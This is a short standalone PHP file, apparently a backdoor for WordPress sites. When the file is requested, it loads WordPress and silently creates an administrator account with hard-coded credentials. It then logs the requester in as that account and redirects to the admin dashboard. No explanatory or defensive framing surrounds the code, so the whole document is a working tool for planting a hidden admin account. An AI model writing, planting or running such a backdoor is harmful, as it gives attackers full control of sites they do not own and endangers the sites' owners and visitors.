<?php
$mr = $_SERVER['DOCUMENT_ROOT'];
@chdir($mr);
if (file_exists('wp-load.php')) {
    include 'wp-load.php';

    $username = 'hrd-seokong';
    $password = 'wukong88';
    $email = 'hrd-seokong@mydomain.com'; // Ganti jika ingin email berbeda

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if ($user_id && !is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');
        }
    }

    $user = get_user_by('login', $username);
    if ($user && !is_wp_error($user)) {
        wp_set_auth_cookie($user->ID);
        wp_redirect(admin_url());
        die();
    } else {
        die('Failed to create admin');
    }
} else {
    die('Failed to load');
}
?>
